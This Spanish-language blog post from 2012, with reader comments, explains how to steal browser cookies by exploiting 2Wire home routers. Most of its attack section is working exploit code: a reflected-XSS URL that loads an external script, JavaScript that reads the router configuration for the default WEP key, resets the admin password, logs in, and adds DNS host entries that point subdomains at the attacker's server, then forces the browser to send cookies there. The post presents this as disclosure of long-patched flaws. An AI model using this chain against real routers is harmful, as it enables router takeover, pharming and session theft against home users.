24 mayo 2012

Robo de cookies por router vulnerable (caso 2Wire)



Desde hace tiempo es conocido que los routers caseros están plagados de vulnerabilidades. En este caso mostramos como una serie de vulnerabilidades en routers 2Wire, al ser explotadas secuencialmente, permiten obtener remotamente los valores de las cookies de casi cualquier dominio.

El proceso de ataque sería el siguiente:
1. La víctima visita una página maliciosa con un módem vulnerable,
2. La página realiza pharming al router redirigiendo subdominios al servidor del atacante,
3. La página obliga a la víctima a realizar peticiones a los subdominios,
4. El atacante recibe en su servidor las cookies de los dominios.

Utilizamos subdominios inexistentes por dos razones. Al usar un subdominio inexistente el navegador no tiene la dirección IP en el cache. Y la segunda razon es que en caso de que exista algún error, la comunicación con el dominio original no se pierde.

Los routers 2Wire han tenido múltiples vulnerabilidades en los últimos años. Para realizar este ataque nos enfocamos en las siguientes:
1. Cross site scripting

Algunos routers 2Wire poseen un cross site scripting reflejado en la variable THISPAGE de su interfaz de configuración web:

http://192.168.1.254/xslt?PAGE=A05&THISPAGE=</script><script>with(document)body.appendChild(createElement("script")).setAttribute("src","cfgpwn.js");</script><script>


Explotando el cross site scripting podemos estar en la misma zona del router y obtener acceso a sus propiedades, como la información de las páginas del router.

Inyectamos un script que nos permite leer la información de la configuración debido a la vulnerabilidad de revelación de configuración. Leemos el archivo y obtenemos la WEP default:

cfgpwn.js:

try {
    xmlhttp=new ActiveXObject("MSXML2.XMLHTTP");
} catch(e) {
    xmlhttp = new XMLHttpRequest()
}
xmlhttp.open("GET","/xslt?page=mgmt_data",false);
xmlhttp.send(null);
var info = xmlhttp.responseText;
var pass = "temporal";
var wep = info.substr(info.indexOf("encrypt_key\"\>0x")+15,10);

Utilizando la clave WEP default podemos definir una nueva contraseña de administración web. De la siguiente manera usamos la WEP para cambiar el password:

xmlhttp.open("POST","/xslt");
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp.send("PAGE=A04_POST&THISPAGE=A04&NEXTPAGE=A04_POST&SYSKEY="+wep+"&PASSWORD="+pass+"&PASSWORD_CONF="+pass+"&HINT="+pass);

Ya que hemos definido un password, podemos obtener la sesión de administrador para obtener privilegios en el router. Para esto realizamos la siguiente petición:

xmlhttp.open("GET","/xslt?PAGE=A02_POST&THISPAGE=&NEXTPAGE=J01&CMSKICK=&PAGE=A02&NEXTPAGE=J01&SHOWHINT=1&PASSWORD="+pass, false);
xmlhttp.send(null);

Como administradores podemos agregar dominios a la lista de hosts. Agregamos subdominios de los dominios de los cuales queremos las cookies:

for (var i=0; i<dominios.length; i++) {
    dns=dominios[i];
xmlhttp.open("GET","/xslt?PAGE=J38_SET&THISPAGE=J38&NEXTPAGE=J38_SET&NAME="+dns+"&ADDR="+ip,false);
    xmlhttp.send(null);
}
Obligamos a la víctima a realizar peticiones a los subdominios para que envíe las cookies:
for (var i=0; i<dominios.length; i++) {
    dns=dominios[i];
    document.write('<img src=http://'+dns+'>');
}
Todo esto se podría automatizar y realizar de forma oculta para la víctima. En el siguiente video se muestra la explotación de una forma visible:




Hay que entender que en este caso 2Wire ha publicado parches para todas estas vulnerabilidades hace tiempo, pero en muchas ocasiones no depende del usuario o fabricante el actualizar, depende del proveedor de servicio.




Contribución cortesía de Pedro “hkm” Joaquín de Websec México

4 comments :

Angelo Prado dijo...

Fascinante. Pero para puntualizar, esto solo funcionaria si las cookies de sesión están en scope de *.dominio.com, es decir, si se han seteado como .dominio.com - Caso contrario sub.dominio.com no recibiria las cookies para www.dominio.com o dominio.com ¿no?

Alfonso Sanchez dijo...

buen articulo, el año psado escribi algo parecido en mi blog :) 
http://home-hackson.blogspot.mx/2011/10/la-importancia-de-proteger-nuestras.html

Alfonso Sanchez dijo...

Muy buen articulo, yo publique algo parecido en mi blog el año pasado 
http://home-hackson.blogspot.mx/2011/10/la-importancia-de-proteger-nuestras.html

hkm dijo...

Es correcto., únicamente funciona para las cookies dentro del scope.